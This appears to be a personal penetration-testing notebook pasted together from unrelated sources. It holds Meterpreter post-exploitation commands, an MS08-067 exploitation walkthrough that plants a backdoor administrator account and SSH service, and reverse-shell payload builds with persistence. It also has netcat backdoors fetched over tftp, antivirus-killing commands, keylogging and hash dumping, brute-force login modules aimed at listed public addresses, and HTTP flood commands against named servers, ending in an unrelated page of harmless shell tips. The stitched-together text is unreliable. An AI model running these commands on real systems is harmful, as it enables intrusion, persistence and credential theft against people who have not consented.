download -r "%USERPROFILE%\\my documents" ~/
# alternate to shell not SYSTEM
# execute -f cmd.exe -H -c -i -t
# does some run wmic commands etc
run winenum
# rev shell the hard way
run scheduleme -m 1 -u /tmp/nc.exe -o "-e cmd.exe -L -p 8080"
# An example of a run of the file to download via tftp of Netcat and then running it as a backdoor.
run schtasksabuse-dev -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
run schtasksabuse -t 192.168.1.7 -c "tftp -i 192.168.1.8 GET nc.exe,nc -L -p 8080 -e cmd.exe" -d 4
# vnc / port fwd for linux
run vnc
# priv esc
run kitrap0d
run getgui
# somewhat broken .. google sdt cleaner NtTerminateProcess !@?!?!
run killav
run winemun
run memdump
run screen_unlock
upload /tmp/system32.exe C:\\windows\\system32\\
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v system32 -d "C:\\windows\\system32\\system32.exe -Ldp 455 -e cmd.exe"
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v system32
reg enumkey -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list
reg setval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v sys
reg queryval -k HKLM\\system\\controlset001\services\\sharedaccess\\parameters\\firewallpolicy\\Standardprofile\\authorizedapplications\\list -v system32
upload /neo/wallpaper1.bmp "C:\\documents and settings\\pentest3\\local settings\\application data\\microsoft\\"
getuid
ps
getpid
keyscan_start
keyscan_dump
migrate 520
portfwd add -L 104.4.4 -l 6666 -r 192.168.1.1 -p 80"
portfwd add -L 192.168.1.1 -l -r 10.5.5.5 -p 6666
shell
run myremotefileserver_mserver -h
run myremotefileserver_mserver -p 8787
run msf_bind
run msf_bind -p 1975
rev2self
getuid
getuid
enumdesktops
grabdesktop
run deploymsf -f framework-3.3-dev.exe
run hashdump
run metsvc
run scraper
run checkvm
run keylogrecorder
run netenum -fl -hl localhostlist.txt -d google.com
run netenum -rl -r 10.192.0.50-10.192.0.254
run netenum -st -d google.com
run netenum -ps -r 10.192.0.50-254
# Windows Login Brute Force Meterpreter Script
run winbf -h
# upload a script or executable and run it
uploadexec
# Using Payload As A Backdoor from a shell
REG add HKEY_CURRENT_USER\Software\Microsoft\Windows\Curre ntVersion\Run /v firewall /t REG_SZ /d "c:\windows\system32\metabkdr.exe" /f
at 19:00 /every:M,T,W,Th,F cmd /c start "%USERPROFILE%\metabkdr.exe"
SCHTASKS /Create /RU "SYSTEM" /SC MINUTE /MO 45 /TN FIREWALL /TR "%USERPROFILE%\metabkdr.exe" /ED 11/11/2011
# kill AV this will not unload it from mem it needs reboot or kill from memory still ... Darkspy, Seem, Icesword GUI can kill the tasks
catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -O "c:\Program Files\Kaspersky\avp.exe" dummy
Nessus Scanning through a Metasploit Meterpreter Session
By
Mark Baggett
on March 16, 2010 6:44 AM | Permalink
By Mark Baggett
Scenario: You are doing a penetration test. The client's internet face is locked down pretty well. No services are exposed externally and only HTTP/HTTPS are allowed OUT of the corporate firewall. You email in a carefully crafted email with the meterpreter attacked. An accommodating users is more than happy to click your attachment giving you meterpreter access to their machine. Now what? How about using Nessus to scan all the services on their internal network? Here is a tutorial on how to do it.
The Players
Attacker 172.16.186.132
Victim 172.16.186.126
Step 1 - After you have meterpreter access install OpenSSH on the victim's computer. Joff Thyer, packet guru, crazy aussie and all around smart guy did a great job of outlining the install process on his blog. I pretty much just followed his instructions here.
Step 2 - After you've installed OpenSSH and setup your account use Meterpreters PORTFWD command to forward a port from the attacker's machine to the SSH listener on the victim's machine. For example:
meterpreter> portfwd add -L 172.16.186.132 -l 8000 -r 172.16.186.128 -p 22
This command sets up a listener on port 8000 of the attacker's IP (172.16.186.132) and forwards packets to port 22 on the victim's machine (172.16.186.128).
Step 3 - SSH into the portfwd port you just created and setup a dynamic port forwarder on your machine. For example:
# ssh -D 127.0.0.1:9000 -p 8000 username@172.16.186.132
This command sets up a SOCKS4 proxy on port 9000 which is forwarded through the SSH session on the victim.
Step 4 - Use PROXYCHAINS to forward your nessusd traffic through the SOCKS4 listener on port 9000. This is as simple as changing the TCP port on the last line of /etc/proxychains.conf from its default of 9050 to port 9000 and launching nessusd through proxychains as follows:
# proxychains /usr/sbin/nessusd -D
Step 5 - Start the nessus client and do you scan.
Preparing for a custom command line OpenSSH Installation in your lab
The basic steps to prepare a command line OpenSSH installation for Windows are as follows:
1. Download the setupssh.exe installation package from http://sshwindows.sourceforge.net/download
2. Run the GUI installer package on your Windows lab/test machine. I suggest accepting the default program location of C:\Program Files\OpenSSH
3. Get a full copy of all of the files under the directory C:\Program Files\OpenSSH onto a USB flash drive or other favorite media. Copy recursively with XCOPY and make sure you fully retain the directory structure.
4. Export the following registry keys using the REG EXPORT command as follows:
REG EXPORT .HKLM\SOFTWARE\Cygnus Solutions. 1.REG
REG EXPORT .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. 2.REG
REG EXPORT .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. 3.REG
5. Concatenate all of these registry files together into one file.
TYPE 1.REG 2.REG 3.REG >OPENSSH.REG
6. Save this OPENSSH.REG file into your local copy of all of the openssh directory structure.
Performing an installation via command shell
Now that you have all of this data saved on your USB thumb drive, lets assume that our penetration testing machine is a CentOS Linux operating system with IP address of 192.168.1.37, and that our target is a Windows 2003 SP0 machine with IP address of 192.168.1.40. Our penetration testing Linux machine has our OpenSSH package files mounted under /mnt/PenTestTools/win32/OpenSSH.
Our target happens to have the MS08-067 Server Service RPC vulnerability. Below is an example of how we exploit this vulnerability using Metasploit (www.metasploit.com) with the Meterpreter payload, upload our OpenSSH server files, add a new username, perform some minimal configuration and start the OpenSSH service.
Exploiting the Vulnerability
[root@localhost framework-3.2]# nc -v 192.168.1.40 445
Connection to 192.168.1.40 445 port [tcp/microsoft-ds] succeeded!
[root@localhost framework-3.2]# ./msfconsole
msf > search exploits ms08_067
[*] Searching loaded modules for pattern 'ms08_067'...
Exploits
========
Name Description
---- -----------
windows/smb/ms08_067_netapi Microsoft Server Service Relative Path Stack Corruption
msf > use windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.40
RHOST => 192.168.1.40
msf exploit(ms08_067_netapi) > set TARGET 5
TARGET => 5
msf exploit(ms08_067_netapi) > show options
... truncated output ...
Exploit target:
Id Name
-- ----
5 Windows 2003 SP0 Universal
msf exploit(ms08_067_netapi) > exploit
[*] Started bind handler
[*] Triggering the vulnerability...
[*] Transmitting intermediate stager for over-sized stage...(191 bytes)
[*] Sending stage (2650 bytes)
[*] Sleeping before handling stage...
[*] Uploading DLL (75787 bytes)...
[*] Upload completed.
[*] Meterpreter session 1 opened (192.168.1.37:45633 -> 192.168.1.40:4444)
meterpreter > sysinfo
Computer: SYSTEM-HJ28HHGL7N
OS : Windows .NET Server (Build 3790, ).
Uploading your OpenSSH Files
meterpreter > lcd /mnt/PenTestTools/win32/OpenSSH
meterpreter > lpwd
/mnt/PenTestTools/win32/OpenSSH
meterpreter > cd \
meterpreter > cd "Program Files"
meterpreter > mkdir openssh
Creating directory: openssh
meterpreter > cd openssh
meterpreter > pwd
C:\Program Files\openssh
meterpreter > upload -r . .
[*] uploading : ./uninstall.exe -> .\uninstall.exe
[*] uploaded : ./uninstall.exe -> .\uninstall.exe
[*] mirroring : ./bin -> .\bin
[*] uploading : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploaded : ./bin/chmod.exe -> .\bin\chmod.exe
[*] uploading : ./bin/chown.exe -> .\bin\chown.exe
[*] uploaded : ./bin/chown.exe -> .\bin\chown.exe
[*] uploading : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
[*] uploaded : ./bin/cygcrypto-0.9.7.dll -> .\bin\cygcrypto-0.9.7.dll
.... lots of output truncated ....
meterpreter > execute -f cmd.exe .i
Process 848 created.
Channel 66 created.
Modifying the Registry and Adding Your Own Username
Here, we import all of our registry keys, then add our own username making sure to put it into the administrators group. Then we create the passwd and group files that OpenSSH needs for authentication purposes.
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\openssh>whoami
whoami
nt authority\system
C:\Program Files\openssh>reg import openssh.reg
reg import openssh.reg
The operation completed successfully.
C:\Program Files\openssh>net user inet_p0wned gameover /add
net user inet_p0wned gameover /add
The command completed successfully.
C:\Program Files\openssh>net localgroup administrators inet_p0wned /add
net localgroup administrators inet_p0wned /add
The command completed successfully.
C:\Program Files\openssh>cd etc
cd etc
C:\Program Files\openssh\etc>..\bin\mkpasswd -l >passwd
..\bin\mkpasswd -l >passwd
C:\Program Files\openssh\etc>..\bin\mkgroup -l >group
..\bin\mkgroup -l >group
C:\Program Files\openssh\etc>sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
sc create opensshd binpath= "c:\program files\openssh\bin\cygrunsrv.exe" start= auto
[SC] CreateService SUCCESS
Start the OpenSSH Service
C:\Program Files\openssh\etc>sc start opensshd
sc start opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 2 START_PENDING
(NOT_STOPPABLE, NOT_PAUSABLE,
IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x7d0
PID : 1916
FLAGS :
C:\Program Files\openssh\etc>sc query opensshd
sc query opensshd
SERVICE_NAME: opensshd
TYPE : 10 WIN32_OWN_PROCESS
STATE : 4 RUNNING
(STOPPABLE, NOT_PAUSABLE, IGNORES_SHUTDOWN))
WIN32_EXIT_CODE : 0 (0x0)
SERVICE_EXIT_CODE : 0 (0x0)
CHECKPOINT : 0x0
WAIT_HINT : 0x0
C:\Program Files\openssh\etc>netsh firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24
The following command was not found: firewall add port protocol=tcp port=22 name=sshd mode=enable scope=custom addresses=192.168.1.0/24**
**Note: adding a port for the firewall is necessary if the firewall exists. If not, then you will get the command not found error message. It is a good idea to restrict the source networks so that you don.t leave a gaping opportunity while testing.
C:\Program Files\openssh\etc>exit
exit
meterpreter > quit
[*] Meterpreter session 1 closed.
msf exploit(ms08_067_netapi) > quit
Now, lets go ahead and SSH into our Windows server to check if things worked!
root@localhost:~/framework-3.2]# ssh inet_p0wned@192.168.1.40
The authenticity of host '192.168.1.40 (192.168.1.40)' can't be established.
RSA key fingerprint is ab:c8:bf:9f:b2:38:32:1d:6f:2b:34:a5:d0:99:dc:49.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.1.40' (RSA) to the list of known hosts.
OpenSSH for Windows. Welcome aboard!
inet_p0wned@192.168.1.40's password:
Could not chdir to home directory /home/inet_p0wned: No such file or directory
Microsoft Windows [Version 5.2.3790]
(C) Copyright 1985-2003 Microsoft Corp.
C:\Program Files\OpenSSH>
C:\Program Files\OpenSSH>whoami
system-hj28hhgl7n\inet_p0wned
C:\Program Files\OpenSSH>exit
Connection to 192.168.1.40 closed.
[root@localhost framework-3.2]#
Cleaning up
To clean up everything when you are finished, you need to delete the OpenSSH service, delete the registry keys and remove all of the relevant files. The following recipe should work reasonably well from a command shell. Remember that you cannot be using OpenSSH when deleting the service! So, you may need to exploit again with shell code before removing it.
C:\> SC STOP opensshd
C:\> SC DELETE opensshd
C:\> REG DELETE .HKLM\SOFTWARE\Cygnus Solutions. /f /va
C:\> REG DELETE .HKLM\SYSTEM\ControlSet001\Services\OpenSSHd. /f /va
C:\> REG DELETE .HKLM\SYSTEM\CurrentControlSet\Services\OpenSSHd. /f /va
C:\> CD "\Program Files"
C:\Program Files> RMDIR /Q /S opensshd
C:\Program Files> NETSH FIREWALL DELETE PORT TCP 22
C:\Program Files> NET USER inet_p0wned /DELETE # pivot
http://www.offensive-security.com/metasploit-unleashed/Pivoting
use exploit/windows/smb/psexec
set RHOST 10.1.13.2
set SMBUser Administrator
set SMBPass 81cbcea8a9af93bbaad3b435b51404ee:561cbdae13ed5abd30aa94ddeb3cf52d
set PAYLOAD windows/meterpreter/bind_tcp
exploit
# make exe
./msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.6.55 LPORT=443 R | ./msfencode -t exe -c 5 -o /tmp/bob.exe
# attacker listen
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.55
set LPORT 443
set ExitOnSession false
# set AutoRunScript pathto script you want to autorun after exploit is run
set AutoRunScript persistence -r 192.168.6.55 -p 443 -A -X -i 30
exploit -j -z
# armatage
apt-get install mysql-server -y
/etc/init.d/mysql start
mysqladmin -u root -ppassword password toor
/pentest/exploits/framework/msfrpcd -f -U msf -P test -t Basic
# armatage
apt-get install -y postgresql
apt-get install libpq-dev -y
gem install postgres
/etc/init.d/postgresql start
su -
su - postgres
createuser msf_user -P
createdb --owner=msf_user msf
/pentest/exploits/framework/msfrpcd -f -U msf -P msf -t Basic
/pentest/exploits/framework/armitage
net user newuserhere PASSWORDHERE /add
net localgroup administrators newuserhere /add
"c:\program files\nmap\nmap.exe" -vvv -n -p 1527,3200,3201,3300,3600,8000,8100,8101,40000-40005,50013,50113 -A 192.168.56,14,6,7,8,9.1-255 -oA sap
----
# ssh
use auxiliary/scanner/ssh/ssh_login
#set RHOSTS_FILE "C:/backup/wordlist/targests.txt"
set RHOSTS 4.59.139.135 4.59.139.136 4.59.139.140 63.116.61.25 63.116.61.26 63.116.61.34
# set USER_FILE "C:/backup/wordlist/password_large.txt"
set USERPASS_FILE "C:/backup/wordlist/root_userpass.txt"
set VERBOSE true
set STOP_ON_SUCCESS true
set BRUTEFORCE_SPEED 5
# set this to the number of host
set THREADS 6
run
use auxiliary/gather/dns_enum
set DOMAIN domain.com
run
#smb
use auxiliary/scanner/smb/smb_login
set RHOSTS file://192.168.8.39
set RHOSTS 127.0.0.1
set USER_FILE "C:/wordlist/users.txt"
set PASS_FILE "C:/wordlist/2.txt"
set VERBOSE false
# set to number of host scanning .
set THREADS 16
set STOP_ON_SUCCESS true
set VERBOSE true
set BLANK_PASSWORDS false
# http
use auxiliary/scanner/http/http_login
set AUTH_URI /folder?dcPath=ha-datacenter
set RHOSTS 127.0.0.1 127.0.0.1 127.0.0.1
set VERBOSE true
run
back
# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1,49,50
set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run
back
# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
set VERBOSE false
run
back
#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 127.0.0.1
set PASS_FILE /home/administrator/alcoa/alcoa_small.txt
set USER_FILE /home/administrator/alcoa/alcoa_small.txt
set BRUTEFORCE_SPEED 1
run
#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
set VERBOSE false
run
nmap --script=smtp-open-relay.nse -p 25 -iL 25 -n
./sfuzz -T O -f sfuzz-sample/basic.http -S 50.74.10.218 -p 179
# onlt works for Delegation Tokens
list_tokens -u
impersonate_token ORACLE-ENT\\Administrator
# after hijack incognito
use auxiliary/server/capture/smb
# ubuntu autopwn
apt-get install ruby1.8-dev libpq-dev postgresql -y
gem install postgres
# download autopwn .
cd /pentest/exploits/framework/plugins/
wget http://rmccurdy.com/scripts/db_autopwn.rb
cd ..
sudo -u postgres psql
\password postgres
\q
sudo -u postgres createdb msf
./msfconsole
db_driver
db_driver postgresql
db_connect postgres:postgres@127.0.0.1/msf
db_nmap 123.123.123.123 -v -v -v -v
load db_autopwn
db_autpown -p -t -e
# ssh logins
use auxiliary/scanner/ssh/ssh_login
set RHOSTS 192.168.1.1-255
set USER_FILE "C:/wordlist/password_small.txt"
run
back
#smb
use auxiliary/scanner/smb/smb_login
set RHOSTS 127.0.0.1
set SMBUser Administrator
set PASS_FILE "C:/wordlist/password_small.txt"
set VERBOSE false
set THREADS 16
run
back
# telnet
use auxiliary/scanner/telnet/telnet_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set THREADS 254
run
back
# mssql
use auxiliary/scanner/mssql/mssql_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
set USERNAME sa
run
back
#ftp
use auxiliary/scanner/ftp/ftp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/password_small.txt"
run
#snmp
use auxiliary/scanner/snmp/snmp_login
set RHOSTS 127.0.0.1
set PASS_FILE "C:/wordlist/snmp_default_pass.txt"
run
User Summary
Checks if a VNC server is vulnerable to the RealVNC authentication bypass (CVE-2006-2369).
Example Usage
nmap -sV -sC
db_driver postgresql
db_connect postgres:"msf3:"32a771f6"@127.0.0.1:7175/msf3
http://www.microsoft.com/download/en/details.aspx?displaylang=en&id=7558 Microsoft Baseline Security Analyzer 2.2 (for IT Professionals)
.a/gxfr.py kpmg.com --dns-lookup -v -t 10
http stress test
.- HTTPS Support
- 1000 simultaneous connections (each one with a different user/password)
- Ability to record 2 or more application forms in order to test very specific application flows..
In order to answer your question, there.re some tools like:
Tool 1- httperf
More examples that I used before.
httperf --hog --server HOST --num-conn 1000 --ra 100 --timeout 5
httperf --hog --server 192.168.1.3 --num-conn 1000 --ra 100 --timeout 5
httperf --hog --server=192.168.1.3 --wsess=10,5,2 --rate 1 --timeout 5
httperf --hog --server=www --wsess=10,5,2 --rate=1 --timeout=5 --ssl
httperf --hog --server=bankinghome.es/apl/donativos/index_ca.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
httperf --hog --server=17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
httperf --hog --server=http://17.148.71.129/index.html --wsess=10,5,2 --rate=1 --timeout=5 --ssl --ssl-ciphers=EXP-RC4-MD5:EXP-RC2-CBC-MD5 --ssl-no-reuse --http-version=1.0
Tool 2- fakeconnect
fakeconnect -s SOURCE -d HOST -p PORT
Tool 3- Apache benchmarking tool (accept POST)
ab -n 100 -c 4 -p test.jpg http://localhost/
(http://httpd.apache.org/docs/2.0/programs/ab.html)
Tool 4- Curl-loader (it rocks, very customizable)
http://curl-loader.sourceforge.net/
And running hundreds and thousands of clients..., please, do not forget:
1- To increase limit of descriptors (sockets) by running e.g.
#ulimit -n 10000;
2- Optionally, to set reuse of sockets in time-wait state, etc.., by setting:
#echo 1 > /proc/sys/net/ipv4/tcp_tw_recycle and/or
#echo 1 > /proc/sys/net/ipv4/tcp_tw_reuse;
#echo 1 > /proc/sys/net/ipv4/tcp_moderate_rcvbuf
#echo 108544 > /proc/sys/net/core/wmem_max
#echo 108544 > /proc/sys/net/core/rmem_max
#echo "4096 87380 4194304" > /proc/sys/net/ipv4/tcp_rmem
#echo "4096 16384 4194304" > /proc/sys/net/ipv4/tcp_wmem
Additional info:
http://ltp.sourceforge.net/tooltable.php
Hope that help you.
==========
random file raname rename random file
IFS=$'\n';for fname in `ls`; do mv "$fname" $RANDOM$RANDOM ;done
grep -Eo '([0-9]{1,3}\.){3}[0-9]{1,3}' ips | sort | uniq
catchme.exe -K "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -E "c:\Program Files\Kaspersky\avp.exe"
catchme.exe -O "c:\Program Files\Kaspersky\avp.exe"
reboot
still looking into it .. can't kill it from memory yet I can delete the file
# file size search
FOR /R C:\ %i in (*) do @if %~zi gtr 10000000 echo %i %~zi
# screen cron
@reboot /usr/bin/screen -fa -d -m -S torrent /usr/bin/rtorrent
# netstat with pid
for /f "tokens=1,2,3,7 delims=: " %a in ('netstat -nao ^| find ^"LISTENING^" ^| find /v ^"::^"') do @(for /f "tokens=1,*" %n in ('"wmic process where processId=%d get caption,executablepath | find ".""') do @echo Protocol=%a, IP=%b, Port=%c, PID=%d, Name=%n, Path=%o)
# CSV file size,file
for /r c:\ %i in (*) do @echo %~zi, %i
# md5 check but in linux style
md5 * | awk '{print $4,$2}' | sed 's/ (/ \*/g' | sed 's/)//g'
C:\> wmic missiles call launch target=...*
C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call
C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call
C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call
C:\> rundll32.exe user32.dll,LockWorkStation
logoff command against the user, again wrapped up inside of WMIC:
C:\> logoff
C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call
C:\> tsdiscon console /server:[IPaddr] /v
C:\> wmic /node:[IPaddr] /user:[Admin] /password:[password] process call
C:\> fgdump -c & find "NO PASSWORD" 127.0.0.1.pwdump & del 127.0.0.1.pwdump
C:\> fgdump -c & find "NO PASSWORD*********************:NO PASSWORD" 127.0.0.1.p
C:\> net user [user] ""
C:\> net use \\[hostname] "" /u:[user]
C:\> FOR /F "tokens=2 skip=1" %i in ('wmic useraccount list brief') do @echo.
C:\> net user guest active:no
C:\> wmic useraccount get sid, name
C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')
C:\> (for /F "tokens=1,2 skip=1" %i in ('"wmic useraccount get sid, name"')
C:\> net localgroup administrators
C:\> dir /d
C:\> dir /ad /b
C:\> dir /a-d /b
C:\> FOR /D %i in (*) do @echo %i/
C:\> FOR /D %i in (*) do @echo :%i
C:\> cipher /w:c:\folder
C:\> for /L %i in (1,1,9) do @cipher /w:c:\folder
sc), one of my faves is good old WMIC:
C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [co
C:\> wmic /node:[targetIPaddr] /user:[admin] process call create "cmd.exe /c [co
C:\> netsh firewall set opmode disable
C:\> netsh firewall set opmode enable
C:\> netsh firewall add portopening protocol = [TCP|UDP] port = [portnum] name =
C:\> netsh firewall show config
C:\> dir /a /tw /o-d
C:\> dir /a /s /tw /o-d c:\
C:\> for /r %i in (*) do @echo %~ti, %~fi
C:\> for /r %i in (*) do @echo %~ti, %~fi >> file_list.csv
C:\> for /r %i in (*) do @echo %~ti, %~fi | find "04/28/2009 02:06 PM"
#commandlinefu.com search plugin RSS
What's this?
commandlinefu.com is the place to record those command-line gems that you return to again and again.
If you have a new feature suggestion or find a bug, please get in touch via http://commandlinefu.uservoice.com/
Get involved!
You can sign-in using OpenID credentials, or register a traditional username and password.
OpenID
or
Sign in Register
First-time OpenID users will be automatically assigned a username which can be changed after signing in.
Stay in the loop…
Functions
Credits
Site by David Winterbottom (user root).
commandlinefu.com
Random | Hot this week | All-time greats • FAQ | API | Widget
[tag-loader.gif] ____________________
All commands
All commands from [all time......] sorted by [votes] Go
[terminal-options.gif] Terminal - All commands - 8,662 results
sudo !!
This is sample output - yours may be different.
Run the last command as root
Useful when you forget to use sudo for a command. "!!" grabs the last run command.
python -m SimpleHTTPServer
Functions: python
Serve current directory tree at http://$HOSTNAME:8000/
:w !sudo tee %
Functions: tee
Save a file you edited in vim without the needed permissions
I often forget to sudo before editing a file I don't have write permissions on. When you come to save that file and get the infamous "E212: Can't open file for writing", just issue that vim command in order to save the file without the need to save it to a temp file and then copy it back again.
cd -
Functions: cd
change to the previous working directory
^foo^bar
Runs previous command but replacing
Really useful for when you have a typo in a previous command. Also, arguments default to empty so if you accidentally run:
echo "no typozs"
you can correct it with
^z
cp filename{,.bak}
Functions: cp
quickly backup or copy a file with bash
mtr google.com
My traceroute [v0.73]
apollo (0.0.0.0) Fri Feb 20 23:52:43 2009
Keys: Help Display mode Restart statistics Order of fields quit
Host Loss% Snt Last Avg Best Wrst StDev
2. ???
ae-0-0.bbr2.Atlanta1.Level3.net
ae-11-51.car1.Atlanta1.Level3.net
mtr, better than traceroute and ping combined
mtr combines the functionality of the traceroute and ping programs in a single network diagnostic tool.
As mtr starts, it investigates the network connection between the host mtr runs on and HOSTNAME. by sending packets with purposly low TTLs. It continues to send packets with low TTL, noting the response time of the intervening routers. This allows mtr to print the response percentage and response times of the internet route to HOSTNAME. A sudden increase in packetloss or response time is often an indication of a bad (or simply over‐loaded) link.
Show sample output | Comments (11) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
ctrl-x e
GNU nano 2.0.7 File: /tmp/bash-fc-30782221326
# begin writing some exceedingly long and complex command in the editor...
Rapidly invoke an editor to write a long, complex, or tricky command
Next time you are using your shell, try typing ctrl-x e (that is holding control key press x and then e). The shell will take what you've written on the command line thus far and paste it into the editor specified by $EDITOR. Then you can edit at leisure using all the powerful macros and commands of vi, emacs, nano, or whatever.
Show sample output | Comments (14) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
$ssh-copy-id user@host
Copy ssh keys to user@host to enable password-less ssh logins.
To generate the keys use the command ssh-keygen
command
$ echo this goes to history
this goes to history
$ echo this wont go to history
this wont go to history
$ history
1 echo this goes to history
2 history
Execute a command without saving it in the history
Prepending one or more spaces to your command won't be saved in history.
Useful for pr0n or passwords on the commandline.
Tested on BASH.
Show sample output | Comments (10) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
> file.txt
Empty a file
For when you want to flush all content from a file without removing it (hat-tip to Marc Kilgus).
reset
␍▒┴␋␍@␊▒⎼├:? $
␍▒┴␋␍@␊▒⎼├:? $ ⎼␊⎽␊├
david@earth:~ $
Functions: reset
Salvage a borked terminal
If you bork your terminal by sending binary data to STDOUT or similar, you can get your terminal back using this command rather than killing and restarting the session. Note that you often won't be able to see the characters as you type them.
ffmpeg -f x11grab -s wxga -r 25 -i :0.0 -sameq /tmp/out.mpg
Capture video of a linux desktop
ssh -N -L2001:localhost:80 somemachine
Functions: ssh
start a tunnel from some machine's port 80 to your local post 2001
now you can acces the website by going to http://localhost:2001/
echo "ls -l" | at midnight
Functions: at echo
Execute a command at a given time
This is an alternative to cron which allows a one-off task to be scheduled for a certain time.
dig +short txt .wp.dg.cx
$ dig +short txt unix.wp.dg.cx
"Unix (officially trademarked as UNIX, sometimes also written as Unix with small caps) is a computer operating system originally developed in 1969 by a group of AT&T employees at Bell Labs, including Ken Thompson, Dennis Ritchie, Douglas McIlroy, and Joe O" "ssanna. Today's Unix systems are split into various branches, developed over time by AT&T as well as various commercial... http://a.vu/w:Unix"
Functions: dig
Query Wikipedia via console over DNS
Query Wikipedia by issuing a DNS query for a TXT record. The TXT record will also include a short URL to the complete corresponding Wikipedia entry.You can also write a little shell script like:
$ cat wikisole.sh
#!/bin/sh
dig +short txt ${1}.wp.dg.cx
and run it like
./wikisole.sh unix
were your first option ($1) will be used as search term.
Show sample output | Comments (22) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
mount | column -t
/dev/sda1 on / type ext3 (rw,relatime,errors=remount-ro)
tmpfs on /lib/init/rw type tmpfs (rw,nosuid,mode=0755)
/proc on /proc type proc (rw,noexec,nosuid,nodev)
sysfs on /sys type sysfs (rw,noexec,nosuid,nodev)
varrun on /var/run type tmpfs (rw,nosuid,mode=0755)
varlock on /var/lock type tmpfs (rw,noexec,nosuid,nodev,mode=1777)
udev on /dev type tmpfs (rw,mode=0755)
tmpfs on /dev/shm type tmpfs (rw,nosuid,nodev)
devpts on /dev/pts type devpts (rw,noexec,nosuid,gid=5,mode=620)
fusectl on /sys/fs/fuse/connections type fusectl (rw)
securityfs on /sys/kernel/security type securityfs (rw)
Functions: column mount
currently mounted filesystems in nice layout
Particularly useful if you're mounting different drives, using the following command will allow you to see all the filesystems currently mounted on your computer and their respective specs with the added benefit of nice formatting.
Show sample output | Comments (5) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
'ALT+.' or ' .'
Place the argument of the most recent command on the shell
When typing out long arguments, such as:
cp file.txt /var/www/wp-content/uploads/2009/03/
You can put that argument on your command line by holding down the ALT key and pressing the period '.' or by pressing then the period '.'. For example:
cd 'ALT+.'
would put '/var/www/wp-content/uploads/2009/03/ as my argument. Keeping pressing 'ALT+.' to cycle through arguments of your commands starting from most recent to oldest. This can save a ton of typing.
curl -u user:pass -d status="Tweeting from the shell" http://twitter.com/statuses/update.xml
netstat -tlnp
Functions: netstat
Lists all listening ports together with the PID of the associated process
The PID will only be printed if you're holding a root equivalent ID.
dd if=/dev/dsp | ssh -c arcfour -C username@host dd of=/dev/dsp
Functions: dd ssh
output your microphone to a remote computer's speaker
This will output the sound from your microphone port to the ssh target computer's speaker port. The sound quality is very bad, so you will hear a lot of hissing.
mount -t tmpfs tmpfs /mnt -o size=1024m
Functions: mount
Mount a temporary ram partition
Makes a partition in ram which is useful if you need a temporary working space as read/write access is fast.
Be aware that anything saved in this partition will be gone after your computer is turned off.
sshfs name@server:/path/to/folder /path/to/mount/point
name@server's password:
Mount folder/filesystem through SSH
Install SSHFS from http://fuse.sourceforge.net/sshfs.html
Will allow you to mount a folder security over a network.
Show sample output | Comments (6) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
!!:gs/foo/bar
Runs previous command replacing foo by bar every time that foo appears
Very useful for rerunning a long command changing some arguments globally.
As opposed to ^foo^bar, which only replaces the first occurrence of foo, this one changes every occurrence.
